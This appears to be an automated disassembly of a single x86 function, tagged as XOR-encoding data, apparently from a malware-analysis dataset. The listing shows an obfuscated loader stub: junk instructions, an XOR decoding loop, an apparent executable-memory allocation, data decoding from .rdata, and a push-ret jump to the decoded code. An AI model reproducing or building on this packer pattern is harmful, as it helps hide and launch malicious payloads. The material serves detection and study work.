Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x98a37f0a
dec ebx
add edi, 0x7574f9f6
popal
dec ebx
mov ebx, edi
mov ebx, 0
mov edi, eax
mov ecx, esi
add esi, 0xc0358c7a
mov edx, edi
sub ecx, 0x30076e6d
or ecx, esi
mov eax, edx
inc esi
add ecx, ecx
mov ecx, 0x2ccec47c
inc ebx
add ecx, 1
add esi, 1
mov ecx, esi
cmp ebx, 0x1004150
jne 0xa789c2
and esi, esi
and ecx, ecx
inc ecx
mov ebx, 0x6c32e122
not edi
mov edx, 0xa78796
dec eax
not ebx
mov ecx, 0xa7898a
or ebx, eax
or esi, esi
mov edi, dword [edx]
sub eax, 0x40e48b70
inc ebx
and edi, 0xff
mov ebx, eax
add eax, eax
mov eax, 0x11c56cc9
xor dword [ecx], edi
sub ebx, 1
mov eax, ebx
inc ecx
dec ebx
mov eax, ebx
not esi
inc edx
add esi, 0xfe632b3b
mov eax, 0x15d01f
cmp ecx, entry0
jl 0xa78a18
add esi, 0xc01f5bea
sub eax, esi
mov esi, 0x28e8463c
mov eax, esi
sub edx, edi
mov ebx, edx
mov esi, 0xa7898e
dec ecx
or edx, edi
mov esi, dword [esi]
not ebx
dec ecx
mov edx, ecx
mov esi, dword [esi]
not ebx
add edi, edx
add ebx, 0x8c77067a
sub esp, 4
mov dword [esp], esi
mov ebx, edx
or edx, edx
mov esi, 0xa7898a
mov edi, ecx
and edx, edi
mov esi, dword [esi]
add edx, 0x14c1ef12
add edx, 1
add ebx, 0x8963c1da
mov esi, dword [esi]
add edi, 0x99760d0c
mov edi, 0xd4dc8973
push 0xa78992
sub edx, 1
or ebx, edx
call esi
dec edi
add edi, 1
pop esi
inc edi
or edx, edx
push 0xa7899f
mov edi, ecx
not ecx
mov ebx, 0x7a8ad7df
push eax
mov ebx, edx
dec edx
call esi
and edi, ecx
mov edx, edi
push 0x40
sub edi, 0xc17fc523
sub edi, 0x2e9e58ba
push 0x3000
add ebx, 0x173c4bcf
add edi, 0x5ac00d2
add ebx, 0x1a638f75
sub esp, 4
mov dword [esp], 0x200006d6
sub edx, 0x104c92e8
sub edi, edx
add ebx, 0xd43dd773
push 0
sub edx, 1
mov edx, ebx
sub ecx, 0xd9d2d30
call eax
add ecx, 1
dec ebx
mov ebx, 0xa330649b
add eax, 0x20000670
add edx, ebx
add ebx, 1
add edx, 1
mov esi, 0x9e1ebf52
sub edx, 0x993de2d3
mov ecx, edx
mov dword [eax], esi
mov ecx, edx
add ecx, 0x80466714
mov esi, dword [eax]
mov edx, ebx
and ebx, ecx
sub ecx, edi
cmp esi, 0x9e1ebf52
je 0xa78b8f
mov edx, 0
mov dword [edx], eax
or edx, edi
or edi, edx
add ebx, 0x734ca32
sub ebx, 1
mov edx, ebx
sub edi, ebx
and edi, edi
add ebx, 0x75a3e2b1
mov eax, section..rdata
and ebx, ebx
sub ebx, 0xe5978d2e
mov edx, 0xa78795
or edi, edi
add ebx, ebx
dec edi
mov esi, 0
add edi, 0x9f88d03c
sub ebx, 0xfd99dc3f
mov ecx, 0xa78796
not edi
or ebx, ebx
lea ecx, [esi + ecx]
and ebx, edi
mov edi, 0x7ab7c5f3
add edi, edi
mov ecx, dword [ecx]
sub ebx, edi
sub ebx, 0x2976023
and ecx, 0xff
add ebx, 0xfa868e7
sub edi, ebx
dec edi
inc esi
mov ebx, 0xa0ffbeae
add edi, 0x199d0fb8
cmp esi, 0x1f4
jne 0xa78c1a
mov esi, 0
inc ebx
add edi, 0x29ecb3a0
dec ebx
not ebx
xor dword [eax], ecx
and edi, edi
sub edi, 0xa185a603
inc ebx
add eax, 2
mov ebx, 0x5f5fb637
add edi, edi
not ebx
cmp eax, edx
jl 0xa78bd3
add edi, edi
mov edi, 0xb40c6198
sub ebx, 1
dec ebx
sub edi, ebx
sub ebx, edi
mov eax, section..rdata
mov esi, 0x47b11177
add edi, edi
mov ebx, section..rdata
not edi
or esi, edi
mov ecx, 0xa78795
or esi, edi
sub edi, esi
mov edx, 0
mov edi, esi
or esi, esi
dec edi
mov dl, byte [ebx]
sub esi, 0xba193f3e
mov esi, edi
or edi, edi
mov byte [eax], dl
and edi, esi
add esi, 0x8aefecdf
mov edi, esi
add eax, 1
sub edi, esi
mov esi, 0x53f40dae
or esi, esi
add ebx, 2
inc edi
add edi, edi
cmp ebx, ecx
jle 0xa78c80
dec edi
inc esi
mov ebx, 0x40ac182b
and ebx, edi
sub esp, 4
mov dword [esp], 0x8dc6a0
mov ebx, 0x6c58f4a2
not edi
ret